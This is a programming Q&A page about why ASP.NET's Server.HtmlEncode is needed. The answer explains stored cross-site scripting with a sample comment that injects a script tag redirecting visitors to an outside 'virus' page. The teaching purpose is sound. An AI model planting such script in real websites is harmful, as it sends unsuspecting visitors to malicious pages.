Geek Answers Handbook

Why is Server.HtmlEncode required?

I cannot understand why Server.HtmlEncode is required? MSDN states that it is used to encode potentially dangerous characters into the equivalent of HTML code.

Can someone give me some idea of ​​how these characters are unsafe and require us to use Server.HtmlEncode?

Thanks.

+4
source share
1 answer

One example of how characters can be insecure is when a user posts a comment on your page. If the comment form does not use HtmlEncode, then everything that the user just typed will now be displayed as a comment on the page. In this case, the hacker can send a comment as follows:

<script language="javascript" type="text/javascript"> window.location = 'http://server.com/viruspage.asp'; </script>

For each subsequent user loading the page, a script is run (since it was not encoded using HtmlEncode), redirecting each user to the page using viruses. This is a very simple example, but there are many other ways to enter malicious data, which potentially even allows hackers to administratively access your databases.

+10
source

More articles:


All Articles